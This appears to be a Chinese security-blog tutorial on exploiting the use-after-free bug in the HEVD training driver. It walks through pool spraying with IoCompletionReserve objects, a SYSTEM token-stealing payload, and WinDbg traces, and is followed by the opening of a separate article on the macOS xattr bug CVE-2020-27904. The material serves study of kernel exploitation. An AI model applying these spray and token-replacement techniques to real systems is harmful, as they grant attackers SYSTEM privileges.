再来看一下exp里如何访问漏洞模块的，像UAF，通过IOCTL_ALLOCATE_UAF_OBJECT和IOCTL_FREE_UAF_OBJECT等控制码来访问驱动里的漏洞模块。
对应到驱动代码里就是这块分支函数，也是后续的分析重点。
我们需要理解的逻辑大概就这些了，关于更多驱动开发的知识可参考下面这个，可以快速掌握一些驱动知识。
[https://bbs.pediy.com/thread-266038.htm](https:_bbs.pediy.com_thread-266038)
## 1.2 UAF漏洞代码分析
### 1.2.1 UAF漏洞介绍
申请出一个堆块保存在一个指针中，在释放后，没有将该指针清空，形成了一个悬挂指针（danglingpointer），而后再申请出堆块时会将刚刚释放出的堆块申请出来，并复写其内容，而悬挂指针此时仍然可以使用，使得出现了不可控的情况。攻击者一般利用该漏洞进行函数指针的控制，从而劫持程序执行流。
当应用程序调用free()释放内存时，如果内存块小于256kb，dlmalloc并不马上将内存块释放回内存，而是将内存块标记为空闲状态。这么做的原因有两个：一是内存块不一定能马上释放回内核（比如内存块不是位于堆顶端），二是供应用程序下次申请内存使用（这是主要原因）。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放回内核。如果应用程序申请的内存大于256kb，dlmalloc调用mmap()向内核申请一块内存，返回返还给应用程序使用。如果应用程序释放的内存大于256kb，dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块，因为这样的内存块太大了，最好不要长期占用这么大的内存资源。（这块可能不太准确，大概看看就行）
但是其实这里有以下几种情况
* 内存块被释放后，其对应的指针被设置为 NULL ， 然后再次使用，自然程序会崩溃。
* 内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。
* 内存块被释放后，其对应的指针没有被设置为 NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。
漏洞利用的过程可以分为以下4步：
1. 申请堆块，保存指针。
2. 释放堆块，形成悬挂指针。
3. 再次申请堆块，填充恶意数据。
4. 使用悬挂指针，实现恶意目的。
下面我们去HEVD项目中具体看如何体现。
### 1.2.2 UAF漏洞代码
漏洞代码位于UseAfterFreeNonPagedPool.c
里面包括4个重要函数以及这4个IRP处理函数，IRP处理函数会分别调用这4个重要函数
#### AllocateUaFObjectNonPagedPool
用于创建内核对象PUSE_AFTER_FREE_NON_PAGED_POOL
如下调用ExAllocatePoolWithTag在内核非分页池申请内存，并填充数据
_USE_AFTER_FREE_NON_PAGED_POOL是一个0x58大小的结构体。
这边将该结构体对象存放在全局变量`g_UseAfterFreeObjectNonPagedPool`中了
#### FreeUaFObjectNonPagedPool
用于释放内核对象，这个函数里有两段代码，上面会修复代码，可以看到比`g_UseAfterFreeObjectNonPagedPool`被释放后，多了一个置NULL的动作，这样就可以防止悬挂指针的重利用。
#### AllocateFakeObjectNonPagedPool
将用户模式传入UserFakeObject指向内容拷贝给核心对象。
先根据FAKE_OBJECT_NON_PAGED_POOL结构体分配一个非分页池的内存，然后将UserFakeObject的内容拷贝给KernelFakeObject。
这里重点在于ExAllocatePoolWithTag分配内核池内存，如果存在一个已释放的相同大小或者大一点的内存，那么重新申请就有概率申请到该段内存，然后再为该段内存写入恶意代码，这样就会导致之前的悬挂指针再被调用时，访问的是被覆盖的内存内容，从而执行恶意代码。
为了增大申请到该段内存的概率，会使用一种池喷射的技巧，可参考扩展知识部分。
查看这个FAKE_OBJECT_NON_PAGED_POOL可以看到大小与之前的机构体一致。这个结构体没有如上分成callback和buffer，这个其实不影响的，只要大小一样，把结构体前4字节设置成恶意代码地址即可。
#### UseUaFObjectNonPagedPool
该函数作用是调用全局变量g_UseAfterFreeObjectNonPagedPool，执行他的回调函数。
### 1.2.3 小结
分析了漏洞代码，其实会对漏洞成因更加了解，我们只要按照AllocateUaFObjectNonPagedPool->FreeUaFObjectNonPagedPool->AllocateFakeObjectNonPagedPool->UseUaFObjectNonPagedPool的顺序调用，就可以触发漏洞，在第三步传入包含恶意代码地址的结构体，覆盖原来的内存，再二次调用原来的结构体指针即可访问恶意代码，也就是UAF（use
after free）的含义。
而修复方案在于Free之后将引用指针置位NULL，来避免二次访问已释放内存块。
后续对于漏洞的利用除了上述流程还需要考虑如何提高申请到相同内存块的几率，这个涉及到内核池管理，也用到内核池漏洞常用的池喷射技术。
# 0x02 漏洞利用
先在用户空间的堆中分配FakeObject，将前4字节指向漏洞利用后运行的payload EopPayload地址。
## 2.1 池喷射代码
再强调下为啥需要池喷射，UAF需要重新申请到相同的内存块并覆盖成恶意代码，而内核池中可能会有许多空间的内存块，如果释放的内存块刚好和其他空闲的内存块相邻，系统就会将这两个内存块合并，那么再申请内存时，
无法保证刚好用到我们释放的那个内存块。
NtAllocateReserveObject可用于在内核池分配两个可选的内核对象，这里是调用NtAllocateReserveObject在内核空间分配IoCompletionReserve内核对象，IoCompletionReserve的内核对象大小为0x60，刚好比我们需要重利用的结构体0x58大一点。
池喷射第一步，先申请10000个IoCompletionReserve对象，用于将内核池中空闲、零散的池块都申请完。
第二步，然后再申请5000个该对象，这时申请出来的池块很大概率是连续的。
第三步，每隔一个内核对象释放一个对象，这样就会留下很多间隔0x60的空闲池块，那么在申请_USE_AFTER_FREE_NON_PAGED_POOL结构体时用到的池块的前一个池块就不会是空闲的，释放的时候就不会被合并，这样出意外的可能性就很低了。
这里可能会有一个疑问，上面释放了那么多池块，为啥不会申请到其他，一个原因是申请是优先使用池块大小相同或更相近的，我们在漏洞代码里看到的两个结构体都是0x58是最相近的，另一个原因是越晚释放的池块会更优先被使用，也就是后入先出的概念。
## 2.2 UAF利用代码
接着就是UAF利用的常规几步，
第一步：访问驱动，发送申请UAF_OBJECT结构体的请求。
第二步：访问驱动，发送释放UAF_OBJECT结构体的请求。
第三步：访问驱动，发送申请FAKE_OBJECT结构体的请求，这里循环了1000次，也是池喷射的概念，一次可能不一定申请到上面释放的内存块，所以增大概率，申请1000次。
第四步：也就是漏洞触发恶意代码执行的一步，调用原来已释放结构体的悬挂指针，访问被覆盖的内存块，触发恶意代码执行。
中间有一个FreeReserveObjects，用于释放之前池喷射申请的所有内存块，不然太占用内存空间了，因为运行在内核，不释放的话即使你当前漏洞利用程序退出也不会释放。
## 2.3 payload代码
这段payload的作用是将SYSTEM进程的token复制到当前进程，这样当前进程则为system权限。
fs寄存器在Ring0中指向一个称为KPCR的数据结构，即FS段的起点与 KPCR
结构对齐，而在Ring0中fs寄存器一般为0x30，这样fs:[124h]就指向KPRCB数据结构的第四个字节。由于 KPRCB
结构比较大，在此就不列出来了。查看其数据结构可以看到第四个字节指向`CurrentThead`(KTHREAD类型)。这样fs:[124h]其实是指向当前线程的`_KTHREAD`
kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
......
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB
kd> dt _KPRCB
nt!_KPRCB
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B
+0x004 CurrentThread : Ptr32 _KTHREAD
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
`_KTHREAD:[0x50]` 指向 `_KPROCESS`， 即
`nt!_KTHREAD.ApcState.Process`，`_EPROCESS`的第一个成员就是`_KPROCESS`，表示两个数据结构地址一样，则可以通过`_KPROCESS`访问`_EPROCESS`数据
再来看看`_EPROCESS`的结构，+0xb8处是进程活动链表，用于储存当前进程的信息，我们通过对它的遍历，可以找到system的`token`(+0xf8)，我们知道system的PID一直是4，通过这一点我们就可以遍历了，遍历到系统`token`之后替换就行了
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
## 2.4 执行
执行效果如下，效果是通过UAF在内核进行system
token复制，让当前进程的token已切换为system，接着创建一个新进程如cmd.exe则也是system权限。
然后看下内核的变化
# 搜索HEVD
lm m H*
# 查看符号表
kd> x /D HEVD!u*
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
9a3e77f2 HEVD!UaFObjectCallbackNonPagedPoolNx (void)
9a3e7806 HEVD!UseUaFObjectNonPagedPoolNx (void)
9a3e74e8 HEVD!UseUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
9a3e742c HEVD!UseUaFObjectNonPagedPool (void)
9a3e78c2 HEVD!UseUaFObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
9a3e7108 HEVD!UninitializedMemoryStackObjectCallback (void)
9a3e6fe6 HEVD!UninitializedMemoryPagedPoolObjectCallback (void)
9a3e70e8 HEVD!UninitializedMemoryStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
9a3e6fc6 HEVD!UninitializedMemoryPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
9a3e7418 HEVD!UaFObjectCallbackNonPagedPool (void)
通过上述操作可找到UseUaFObjectNonPagedPool函数的地址，然后分析该函数调用g_UseAfterFreeObjectNonPagedPool结构体的回调函数位置，定位到9a3e749b
在9a3e749b下断点, 然后再运行exp
bp 9a3e749b
此处跳转的内存地址是00ab39d0
再步入之前，我们先看下nonPagedPool，看池喷射的效果
g_UseAfterFreeObjectNonPagedPool保存着内核对象_USE_AFTER_FREE_NON_PAGED_POOL的地址
9a3e4014->8757b948
通过dd
8757b948可以看到，当前释放的内核对象_USE_AFTER_FREE_NON_PAGED_POOL->CallBack已经指向ac39d0，后面连续的41(即A)，其实这段就是FakeObject。
然后查看内核对象所在的nonPagedPool，这里很明显可以看到每个pool
chunk大小都是60，并且每隔一个就是释放的状态，也正好符合我们刚才池喷射的理论。
!pool 8757b948
最后一列TAG中，Hack即表示AllocateFakeObjectNonPagedPool调用分配给fakeObject的内存
我们继续跟踪步入该段代码，可以看到和之前分析的payload一致，说明覆盖悬挂指针的内存块成功。
kd> !dml_proc
Address PID Image file name
86cf38a8 4 System
....
88a8e460 368 HackSysEVDExpl
断到最后token复制的位置，可以看到将system的token=0x8da01277拷贝给当前进程了。
kd> r ecx
ecx=88a8e460 #当前进程句柄
kd> r edx
edx=8da01277 #sytem进程的token
kd> dt nt!_EX_FAST_REF 86cf38a8+f8 # 通过句柄查看system进程的token
+0x000 Object : 0x8da01277 Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x8da01277
# 0x03 扩展知识
## 3.1 windows API
### 3.1.1 DeviceIoControl
DeviceIoControl 将控制代码直接发送到指定的设备驱动程序，使相应的设备执行相应的操作。
语法
BOOL WINAPI DeviceIoControl(
_In_ HANDLE hDevice,
_In_ DWORD dwIoControlCode,
_In_opt_ LPVOID lpInBuffer,
_In_ DWORD nInBufferSize,
_Out_opt_ LPVOID lpOutBuffer,
_In_ DWORD nOutBufferSize,
_Out_opt_ LPDWORD lpBytesReturned,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
* hDevice [in]
需要执行操作的设备句柄。该设备通常是卷，目录，文件或流，使用 CreateFile 函数打开获取设备句柄。
* dwIoControlCode [in]
操作的控制代码，该值标识要执行的特定操作以及执行该操作的设备的类型，每个控制代码的文档都提供了 **lpInBuffer** ，
**nInBufferSize** ， **lpOutBuffer** 和 **nOutBufferSize** 参数的使用细节。
* lpInBuffer [in, optional]
（可选）指向输入缓冲区的指针。这些数据的格式取决于dwIoControlCode参数的值。如果dwIoControlCode指定不需要输入数据的操作，则此参数可以为NULL。
* nInBufferSize [in]
输入缓冲区以字节为单位的大小。单位为字节。
* lpOutBuffer [out, optional]
（可选）指向输出缓冲区的指针。这些数据的格式取决于dwIoControlCode参数的值。如果dwIoControlCode指定不返回数据的操作，则此参数可以为NULL。
* nOutBufferSize [in]
输出缓冲区以字节为单位的大小。单位为字节。
* lpBytesReturned [out, optional]
（可选）指向一个变量的指针，该变量接收存储在输出缓冲区中的数据的大小。如果输出缓冲区太小，无法接收任何数据，则GetLastError返回ERROR_INSUFFICIENT_BUFFER,错误代码122(0x7a)，此时lpBytesReturned是零。
* lpOverlapped [in, out, optional]
（可选）指向OVERLAPPED结构的指针。
返回值:
如果操作成功完成，DeviceIoControl将返回一个非零值。
如果操作失败或正在等待，则DeviceIoControl返回零。 要获得扩展的错误信息，请调用GetLastError。
<https://docs.microsoft.com/zh-cn/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol?redirectedfrom=MSDN>
### 3.1.2 ExAllocatePoolWithTag
ExAllocatePoolWithTag用于内核模式，在`堆`中分配指定类型的池内存，并返回指向已分配内存空间的首地址的指针。
PVOID ExAllocatePoolWithTag(
__drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
SIZE_T NumberOfBytes,
ULONG Tag
);
* PoolType
该参数用来指定想要申请的内存的类型（内核空间中的内存主要分成两类；分页内存区，和未分页内存区）。查询可选的内存区类型可以到MSDN查询[POOL_TYPE](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ne-wdm-_pool_type)结构。
如果此值为NonPagedPool，则分配非分页内存。
如果为PagedPool， 则分配内存为分页内存。
* NumberOfBytes
通过该参数指定想要分配的内存的字节数，最好是4的倍数。
* Tag
为将要被分配的空间指定标志（就是给你得到的空间取个独一无二的名字）。
进一步解释：赋给该参数的内容是一个字符串常量，最多可以包含四个字母，该字符串应该放到单引号当中（比如：‘tag1’‘tag2’）。另外，这个字符串常常是逆序的，如，‘1gaT’（所以大家会发现输入这个参数的串确实都是倒过来的。。。）。输入到这个参数中的每一个字符的ASCII值都必须在0-127之间。每次的申请空间的时候都最好应该使用一个独一无二的标识，这样可以帮助调试器和检查器辨认和分析。
* 返回值
如果该函数发现目前系统的自由空间不足，就会返回NULL。否则，将返回指向被分配出来的空间的首地址。
### 3.1.3 ProbeForRead
检查用户模式缓冲区是否确实驻留在地址空间的用户部分中，并且是否正确对齐。简而言之，就是看看这块内存是否是Ring3的内存，并不检查内存是否可读。如果不存在ring3内存地址空间范围内，则抛出异常。
void ProbeForRead(
const volatile VOID *Address,
SIZE_T Length,
ULONG Alignment
);
* Address
[in] 指定用户模式缓冲区的开始
* Length
[in] 指定用户模式缓冲区的长度（以字节为单位）
* Alignment
[in] 指定用户模式缓冲区开头所需的对齐方式（以字节为单位）。
* 返回值
None
### 3.1.4 UNREFERENCED_PARAMETER
作用：告诉编译器，已经使用了该变量，不必检测警告！
在VC编译器下，如果您用最高级别进行编译，编译器就会很苛刻地指出您的非常细小的警告。当你声明了一个变量，而没有使用时，编译器就会报警告。
### 3.1.4 NtAllocateReserveObject
系统调用，负责在内核端创建保留对象–在内核池上执行内存分配，返回适当的Handle等
#define APC_OBJECT 0
#define IO_COMPLETION_OBJECT 1
#define MAX_OBJECT_ID 1
NTSTATUS STDCALL NtAllocateReserveObject(
OUT PHANDLE hObject,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN DWORD ObjectType )
{
PVOID ObjectBuffer;
HANDLE hOutputHandle;
NTSTATUS NtStatus;
if ( PreviousMode == UserMode )
{
/* Validate hObject */
}
if ( ObjectType > MAX_OBJECT_ID )
{
/* Bail out: STATUS_INVALID_PARAMETER
*/
}else {
NtStatus = ObCreateObject( PreviousMode,
PspMemoryReserveObjectTypes[ObjectType],
ObjectAttributes,
PreviousMode,
0,
PspMemoryReserveObjectSizes[ObjectType],
0,
0,
&ObjectBuffer );
if ( !NT_SUCCESS( NtStatus ) )
/* Bail out: NtStatus
*/
memset( ObjectBuffer, 0, PspMemoryReserveObjectSizes[ObjectType] );
if ( ObjectType == IO_COMPLETION )
{
/*
*
* Perform some ObjectBuffer initialization
*
*/
ObjectBuffer[0x0C] = 3;
ObjectBuffer[0x20] = PspIoMiniPacketCallbackRoutine;
ObjectBuffer[0x24] = ObjectBuffer;
ObjectBuffer[0x28] = 0;
}
NtStatus = ObInsertObjectEx( ObjectBuffer,
&hOutputHandle,
0,
0xF0003,
0,
0,
0 );
if ( !NT_SUCCESS( NtStatus ) )
/* Bail out: NtStatus
*/
*hObject = hOutputHandle;
}
return(NtStatus);
}
hObject: 分配的内核对象句柄
ObjectType:
目前该参数只有两个值0/1，用于标识两个内核对象UserApcReserve和IoCompletionReserve，IoCompletionReserve对象大小为0x60。
## 3.2 Preparing Pool Memory
翻译自 Kernel Pool Exploitation on Windows 7 (BlackHat_DC_2011_Mandt_kernelpool-wp)
内核池利用的一个重要方面是能够一致地覆盖所需的内存。
由于内核池的碎片状态使分配的位置无法预测，因此攻击者必须首先使用内核对象或其他可控制的内存分配对内核池进行碎片整理。
在这方面的目标是分配所有空闲块，以使池分配器返回一个新页面。 用相同大小的分配填充新分配的页面，并释放第二个分配，这使攻击者可以为易受攻击的缓冲区创建漏洞。
反过来，这将使攻击者能够溢出用于填充内核池的对象或内存分配。
## 3.3 池喷射
尝试利用内核池漏洞时，必须处理块（chunks）和池（pool）的元数据。如果你想避免蓝屏，你需要控制一切，因为在块头上会有一些额外的检查。
内核池喷射是一项使池中分配位置可预测的艺术。这意味着你可以知道一个块将被分配到哪里，哪些块在其附近。
如果您想要泄露某些精确的信息或覆盖特定的数据，利用内核池喷射是必须的。
池喷射的基础是分配足够的对象，以确保您控制分配的位置。
Windows为我们提供了许多在不同类型的池中分配对象的工具。例如，我们可以在NonPagedPool（非分页池）中分配ReservedObjects或Semaphore
。关键是要找到与您要控制的池类型相匹配的对象。您选择的对象大小也很重要，因为它与创建后所留的空隙大小直接相关。一旦您选择了对象，您将首先通过大量分配该对象使得池非随机化。
上面申请的对象是属于内核对象，针对内核漏洞的堆喷射，微软有一个内核对象列表，我们可以通过调用用户模式功能来创建内核对象，尽管它不是很完整。
[https://msdn.microsoft.com/library/windows/desktop/ms724485(v=vs.85).aspx](https://msdn.microsoft.com/library/windows/desktop/ms724485%28v=vs.85%29.aspx)
有些细节仍然需要注意，否则可能会遇到麻烦：
1. 如果您选择的对象的大小不超过0x200字节，这很可能会在lookaside列表中存储相应的释放块，这样这些块的不会被合并。为避免这种情况，您必须释放足够多的对象填充满lookaside列表。
2. 您的释放的块可能会落在DeferredFree列表中，并且不会立即合并。所以你必须释放足够多的对象来填充满这个列表，这样才能释放出块制造空隙。
3. 最后，你在池中分配对象，这对于整个内核是很常见的。这意味着您刚创建的空隙可能随时被您无法控制的东西分配填充。所以你必须要快！
`上述步骤的要点是：`
1. 通过使用对象的句柄，选择需要释放的块
2. 释放足够的块填满lookaside列表
3. 释放选定的块
4. 免释放足够的块填充DeferredFree列表
5. 尽可能快地使用你制造的空隙！
该技术实际应用中会有些改动。
先了解下UAF中的步骤
1.首先申请0x10000个该对象并将指针保存下来；
2.然后再申请0x5000个对象，将指针保存下来；
3.第二步中的0x5000个对象，每隔一个对象释放一个对象；
第一步的操作是将现有的空余堆块都申请出来，第二步中申请出来的堆块应该都是连续的，通过第三步的操作，使得我们申请UAE_AFTER_FREE结构体其前面的堆块应该不是空闲的，因此在释放的时候不会合并，从而再分配的时候出现意外的可能性基本为0。
### 参考
Windows内核池喷射1-偏内核池介绍 <https://www.anquanke.com/post/id/86188>
## 3.4 内核对象
### 3.4.1 内核对象类型查询
池喷射需要找到适合大小的内核对象
这里使用windbg分析
首先，获取更全面的对象列表
!object \ObjectTypes
这是一个可以在内核空间中分配的对象的列表。我们可以通过查看更多的细节来探索几个关于它们的重要属性。使用命令 dt nt!_OBJECT_TYPE
_OBJECT_TYPE_INITIALIZER 结构的偏移量，它将给我们带来极大的方便。让我们看看它为我们提供了 Mutant 对象的哪些我想要的信息：
dt nt!_OBJECT_TYPE 8521a838
然后阅读下 _OBJECT_TYPE_INITIALIZER
dt nt!_OBJECT_TYPE_INITIALIZER 8521a838+28
_OBJECT_TYPE_INITIALIZER中有两个关键信息
`此对象被分配给的池类型 – 在这里是非分页池（NonPagedPool）`
`功能偏移（这在实际的漏洞利用部分十分重要）`
上面就是可获取到内核对象的一些信息，在实际过程中，分配到内核池的时候大小可能会有一些偏差。
像 用户模式 CreateMutexA调用可在内核中创建Mutant对象，而未命名和命名的mutex大小是不一样的，提供的名称会占用Mutant对象大小。
### 3.4.2 内核对象实际分析
接下来我们再测试下实际分配到内核池中时的大小怎么查看。
如下运行一段代码,会创建IoCompletionReserve内核对象，并保持不退出。
PS:这边获取到的句柄为0x70
from ctypes import *
from ctypes.wintypes import *
kernel32 = windll.kernel32
ntdll = windll.ntdll
def alloc_iocreserve():
IO_COMPLETION_OBJECT = 1
hHandle = HANDLE(0)
ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT)
hHandle = hHandle.value
if hHandle == None:
print "[-] Error while creating IoCompletionReserve"
return 0
print "Handle: " + hex(hHandle)
return hex(hHandle)
alloc_iocreserve()
variable = raw_input('Press any key to exit...')
搜索名称为python.exe的进程信息
kd> !process 0 0 python.exe
PROCESS 88bd0030 SessionId: 1 Cid: 0b00 Peb: 7ffd3000 ParentCid: 019c
DirBase: bf2d0580 ObjectTable: 969c1de8 HandleCount: 40.
Image: python.exe
切换到该进程上下文
kd> .process 88bd0030
ReadVirtual: 88bd0048 not properly sign extended
Implicit process is now 88bd0030
WARNING: .cache forcedecodeuser is not enabled
在当前上下文查询句柄，其中可看到IoCompletionReserve内核对象的地址
kd> !handle 70
PROCESS 88bd0030 SessionId: 1 Cid: 0b00 Peb: 7ffd3000 ParentCid: 019c
DirBase: bf2d0580 ObjectTable: 969c1de8 HandleCount: 40.
Image: python.exe
Handle table at 969c1de8 with 40 entries in use
0070: Object: 8843a4b8 GrantedAccess: 000f0003 Entry: 8a2780e0
Object: 8843a4b8 Type: (86cf3be0) IoCompletionReserve
ObjectHeader: 8843a4a0 (new version)
HandleCount: 1 PointerCount: 1
这样就可以找到池的位置，如下，每行是一个pool chunk，注意到带*号的 pool
chunk就是IoCompletionReserve内核对象在内核池块中实际地址，并且可以看到大小为0x60，根据这个大小我们就可以选取相应的内核对象进行池喷射了。
kd> !pool 8843a4b8
Pool page 8843a4b8 region is Unknown
8843a000 size: 30 previous size: 0 (Allocated) Mmdi
8843a030 size: 18 previous size: 30 (Allocated) MmSi
8843a048 size: 30 previous size: 18 (Allocated) Icp
8843a078 size: 18 previous size: 30 (Allocated) MmSi
8843a090 size: 68 previous size: 18 (Allocated) EtwR (Protected)
8843a0f8 size: 48 previous size: 68 (Allocated) Vad
8843a140 size: 68 previous size: 48 (Allocated) FMsl
8843a1a8 size: 40 previous size: 68 (Allocated) Even (Protected)
8843a1e8 size: 20 previous size: 40 (Allocated) ReTa
8843a208 size: 50 previous size: 20 (Allocated) Vadm
8843a258 size: c8 previous size: 50 (Allocated) Ntfx
8843a320 size: 48 previous size: c8 (Allocated) Vad
8843a368 size: 40 previous size: 48 (Allocated) VM3D
8843a3a8 size: 38 previous size: 40 (Allocated) AlIn
8843a3e0 size: a8 previous size: 38 (Allocated) File (Protected)
*8843a488 size: 60 previous size: a8 (Allocated) *IoCo (Protected)
Owning component : Unknown (update pooltag.txt)
8843a4e8 size: 40 previous size: 60 (Allocated) Even (Protected)
如果想看pool chunk具体信息，可如下,PreviousSize
BlockSize在32位系统中是实际大小>>3，64位是>>4，所以这里BlockSize=0xc*8=0x60，和上面获取到的一致
kd> dt _POOL_HEADER 8843a488
nt!_POOL_HEADER
+0x000 PreviousSize : 0y000010101 (0x15)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001100 (0xc)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x40c0015
+0x004 PoolTag : 0xef436f49
+0x004 AllocatorBackTraceIndex : 0x6f49
+0x006 PoolTagHash : 0xef43
### 3.4.3 参考
Windows内核池喷射1-偏内核池介绍 <https://www.anquanke.com/post/id/86188>
Windows内核池喷射2-合适的内核对象获取 <https://www.anquanke.com/post/id/86896>
堆喷射 <http://huntercht.51vip.biz:8888/zblog/?id=35>
# 0x04 参考
<https://gloomyer.com/2019/01/17/uaf-2019-1-17/>
Windows Kernel Exploit 内核漏洞学习(1)-UAF <https://bbs.pediy.com/thread-252310.htm>
<https://www.freesion.com/article/9516423134/>
Windows堆喷射 <https://www.anquanke.com/post/id/85586>
Windows堆喷射 <https://www.anquanke.com/post/id/85592>
内核池块分析：
[https://www.cnblogs.com/flycat-2016/p/5449738.html](https:_www.cnblogs.com_flycat-2016_p_5449738)
windows 内核池原理： <https://blog.csdn.net/qq_38025365/article/details/106259634>
内核池利用文档 [BlackHat_DC_2011_Mandt_kernelpool-wp.pdf](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf) | 社区文章 |
**作者：库特@蚂蚁安全实验室
原文链接：<https://mp.weixin.qq.com/s/bfdwAhRRso34OOZrG2r65Q> **
文件系统是操作系统的基础设施之一，其中存在的任何缺陷都会导致严重后果。在研究苹果macOS文件系统的具体实现时，我们在xattr特性中发现了一系列严重漏洞。
文章将以CVE-2020-27904和CVE-2019-8852（由天穹实验室的库特同学独立发现并报告）为例，剖析漏洞成因，展示漏洞利用过程用到的独特技术，对此类漏洞的危害进行了演示，我们应当重视文件系统漏洞带来的潜在风险。
### 01 关于xattr
xattr是extended file
attributes的缩写，即文件扩展属性，是文件元数据的一种。xattr独立于文件内容存储，由文件系统分配专用的存储空间，可以使用xattr为文件添加额外的属性，实现各种各样的功能。例如Finder中的颜色标签，就是xattr的一种应用场景。
可以通过命令xattr、mdls等查看和操作文件xattr。在代码层面，我们可以通过getxattr、setxattr等系统调用读取和修改xattr。
### 02 在FAT文件系统中兼容xattr
macOS支持很多种文件系统格式，HFS+和APFS是苹果的私有文件系统，
它们支持xattr，这毫无疑问。此外macOS也支持FAT，这是一种比较“古老”的文件系统，仅仅提供相对简单的文件管理功能。但是经过我的测试，FAT文件系统中，竟然也可以正常使用xattr特性，是一件很神奇的事情。
macOS内核代码是开源的，我们可以尝试从代码层面分析，FAT文件系统是如何支持xattr特性的。答案在以下源文件中bsd/vfs/vfs_xattr.c，当我们调用setxattr系统调用时，FAT文件系统的相关回调函数会返回ENOTSUP，说明FAT并没有xattr特性的原生支持。但是接下来会执行以下函数default_setxattr，这个函数为FAT等文件系统提供了xattr的一整套兼容方案。
通过阅读代码，我们发现，在类似于FAT这种没有原生支持xattr的文件系统中，苹果引入了Apple
Double文件，来模拟xattr。在setxattr之后，在相同目录下，会多出一个前缀为"._"的隐藏文件，这就是FAT中存储xattr的位置了。但这同时也意味着，macOS需要在内核中对xattr文件进行解析，这是一个很危险的操作，如果解析不当很容易导致问题发生。
### 03 xattr漏洞之一（CVE-2020-27904）
首先简单介绍一下FAT中存储xattr的apple double文件结构，其实就是几种类型的数据依次排序。文件头部是apple double file
header和ext attr header两个数据结构，之后是attr entry，存储xattr名字和属性值在文件中的偏移，然后是xattr data。
漏洞代码位于bsd/vfs/vfs_xattr.c这个文件中。当进行代码审计时，注意到这个函数check_and_swap_attrhdr，它的作用是，对读入内存的apple
double文件进行校验，确认文件结构是否合法。图示的for循环，用来检查存储的xattr键值对是否位于有效的数据区。
但是让我们看一下红色标记的这一行代码，做了两件事情，offset和length相加，检查是否存在整数溢出，还检查了attr
data的结尾，是否超出header指定的数据区结尾。
但是，这里存在一个问题，这段代码没有对offset本身做检查，或者说没有对data的起始地址做检查，当offset < data_start时，attr
data将会跟之前的数据结构重合，例如attr entry，ext attr header，file
header！当调用setxattr设置xattr时，相当于一个写操作，是可以更改所有这些可以重叠的数据结构的。
#### 3.1 漏洞利用
我们必须利用setxattr覆写file
header的能力，做一些有用的事情，比如实现任意地址读写。让我们查看所有涉及到这两个header的代码，寻找有一些有用的副作用。
首先，找到了以下一段代码，当setxattr完成后，会通过write_xattrinfo把更改保存到文件。在写回文件之前，会通过data_start +
data_length重新计算文件大小。然而，这两个字段，都在非法offset的覆盖范围之内，我们可以更改其中的任何一个，来增大文件的大小，比如增加到64mb。这样，write_xattrinfo会遵照我们的指示，把同样多的内存写入到文件之中，但是apple
double文件一般只会分配64kb大小的内存，如果我们要求保存64mb内存，保存的长度大于实际内存大小，就发生了越界读操作。越界读取的内存会保存到apple
double文件之中，我们可以在用户态读取这个文件的内容，来探测内核的内存信息。
具体参考这张图，这是我通过以下的代码，实际dump到apple
double文件的内容，使用十六进制显示。绿色标记(offset+0x78)的是我伪造的一个非法offset，指向data_start字段，这可以通过篡改用户空间的"._"
apple double文件实现。文件偏移64kb开始处开始，就是我们越界读取到的内核内存。
那么，有什么用处呢？大家都知道，现代内核中，都开启了ASLR保护，内核信息泄漏，最直观的用处就是可以用来探测内核内存布局。我在这个内存位置，提前布局了一个ipc_kmsg，参考kmsg的定义，当只有一个kmsg时，prev和next均指向自身，也就是这个kmsg的首地址，通过这一点，我们可以计算出自己在内存中的位置。所以，现在ASLR就不是一个问题了。
